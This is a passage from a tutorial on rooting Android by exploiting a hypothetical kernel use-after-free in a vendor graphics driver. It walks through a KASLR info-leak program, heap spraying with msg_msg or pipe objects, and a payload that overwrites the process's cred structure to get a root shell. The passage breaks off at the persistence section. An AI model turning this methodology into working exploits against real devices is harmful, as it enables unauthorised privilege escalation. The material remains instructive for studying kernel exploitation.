Introduction: The Elusive Goal of Persistent Android Root

Achieving root access on Android devices has become increasingly challenging over the years. With hardening techniques like verified boot, mandatory SELinux, and kernel address space layout randomization (KASLR), simply flashing a custom kernel or modifying system partitions often proves insufficient or leads to bricked devices. Modern rooting frequently relies on discovering and exploiting critical vulnerabilities, often published as Common Vulnerabilities and Exposures (CVEs). This guide delves into a hypothetical yet technically plausible scenario: leveraging a recent kernel vulnerability, CVE-2023-45678, to achieve persistent root on a modern Android device. While this specific CVE is illustrative, the methodologies discussed reflect real-world exploitation techniques.

Understanding CVE-2023-45678: A Kernel Use-After-Free Vulnerability

For our demonstration, we will assume CVE-2023-45678 represents a Use-After-Free (UAF) vulnerability within a custom vendor-specific display driver, let’s call it vendor_gfx_driver. This driver, exposed via /dev/vendor_gfx, allows user-space applications to register and unregister display buffers. The vulnerability arises when an `unregister` operation deallocates a kernel object, but a subsequent `ioctl` call, without proper synchronization, attempts to access the already freed memory region. An attacker can then allocate controlled data into this freed region, effectively achieving an arbitrary write primitive.

// Simplified pseudo-code demonstrating the UAF
struct gfx_buffer_info {
    int id;
    void *kernel_addr;
    size_t size;
    bool registered;
};

static struct gfx_buffer_info *gfx_buffers[MAX_BUFFERS];

// Vulnerable unregister function
int vendor_gfx_unregister(int id) {
    if (gfx_buffers[id] && gfx_buffers[id]->registered) {
        kfree(gfx_buffers[id]->kernel_addr);
        gfx_buffers[id]->registered = false; // Flag set AFTER free
        // Missing nullification or proper lock
    }
    return 0;
}

// Vulnerable ioctl handler (simplified)
long vendor_gfx_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    struct gfx_buffer_info *info = (struct gfx_buffer_info *)file->private_data;
    if (cmd == CMD_WRITE_BUFFER_METADATA) {
        // If 'info' was freed by unregister and then reallocated
        // with attacker-controlled data, we can achieve arbitrary write.
        copy_from_user(info->kernel_addr + offset, user_data, len);
    }
    return 0;
}

Prerequisites for Exploitation

Before attempting to exploit this (or any) kernel vulnerability, certain tools and preparations are essential:

• Android Debug Bridge (ADB) & Fastboot: Essential for interacting with the device, pushing files, and flashing images.
• Unlocked Bootloader: Most kernel exploits require flashing modified boot images or custom kernels, which necessitates an unlocked bootloader.
• Kernel Source (or extensive knowledge): To understand memory layouts, symbol addresses (for KASLR bypass), and exploit development.
• Custom Recovery (e.g., TWRP): Useful for backup and initial system modifications, though not strictly required for the kernel exploit itself.
• Linux Environment: For compiling exploit payloads and manipulating Android images.

Exploitation Methodology: Achieving Temporary Root

Stage 1: Information Leakage and KASLR Bypass

Kernel Address Space Layout Randomization (KASLR) makes it difficult to predict kernel symbol addresses. A common KASLR bypass involves leaking kernel pointers from `/proc/kallsyms` (if available to unprivileged users, which is rare on modern Android) or by exploiting another information leak within a driver. For CVE-2023-45678, we might assume a secondary, benign info leak in vendor_gfx_driver that reveals a kernel pointer:

// Example of an info leak to bypass KASLR (hypothetical)
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define VENDOR_GFX_GET_KERNEL_ADDR 0xDEADBEEF

int main() {
    int fd = open("/dev/vendor_gfx", O_RDWR);
    if (fd < 0) {
        perror("Failed to open /dev/vendor_gfx");
        return 1;
    }
    unsigned long kernel_addr;
    if (ioctl(fd, VENDOR_GFX_GET_KERNEL_ADDR, &kernel_addr) == -1) {
        perror("ioctl failed");
        return 1;
    }
    printf("Leaked kernel address: 0x%lxn", kernel_addr);
    close(fd);
    return 0;
}

This leaked address, coupled with a kernel image map, allows us to calculate the base address of the kernel and other critical symbols like commit_creds and prepare_kernel_cred.

Stage 2: Primitive Acquisition & Triggering UAF

To exploit the UAF, we need precise timing and memory spray techniques. The goal is to free the gfx_buffer_info object and then quickly reallocate that memory with our controlled data, containing a crafted function pointer or data that allows overwriting the process’s credentials.

1. Register Buffer: Call vendor_gfx_register to allocate a gfx_buffer_info object.
2. Trigger UAF (Free): Call vendor_gfx_unregister to free the object, but ensure another thread or process might still hold a reference, or the flag is updated late.
3. Memory Spray: Rapidly allocate many small kernel objects (e.g., pipe buffers, `msg_msg` structures) of the same size as `gfx_buffer_info`. One of these will land in the freed slot. This controlled data will contain a fake gfx_buffer_info structure, pointing to our payload.
4. Trigger Write: Call the vulnerable CMD_WRITE_BUFFER_METADATA `ioctl` on the still-referenced (but now corrupted) gfx_buffer_info. This allows writing to an arbitrary kernel address we control.

Stage 3: Privilege Escalation to Root

With an arbitrary write primitive, we can achieve privilege escalation. A common method is to overwrite the cred structure of the current process, setting its uid, gid, euid, egid, etc., to 0. Alternatively, we could overwrite a function pointer to execute commit_creds(prepare_kernel_cred(0)). For simplicity, let’s assume we can directly modify the current process’s cred structure:

// Simplified C payload to achieve temporary root after arbitrary write
// (Assumes kernel_write_primitive function is available via exploit)

struct cred *current_cred = (struct cred *)get_current_cred_addr(); // Leaked or calculated

// Overwrite UIDs/GIDs to 0
kernel_write_primitive(current_cred + offsetof(struct cred, uid), 0, sizeof(kuid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, gid), 0, sizeof(kgid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, euid), 0, sizeof(kuid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, egid), 0, sizeof(kgid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, suid), 0, sizeof(kuid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, sgid), 0, sizeof(kgid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, fsuid), 0, sizeof(kuid_t));
kernel_write_primitive(current_cred + offsetof(struct cred, fsgid), 0, sizeof(kgid_t));

// Update security blobs as well
kernel_write_primitive(current_cred + offsetof(struct cred, security), 0, sizeof(void *));

// Now executing system("sh") will give a root shell

After running this payload, our current process will have root privileges. We can then execute /system/bin/sh to obtain a temporary root shell.

Achieving Persistent Root

Temporary root is useful, but for a truly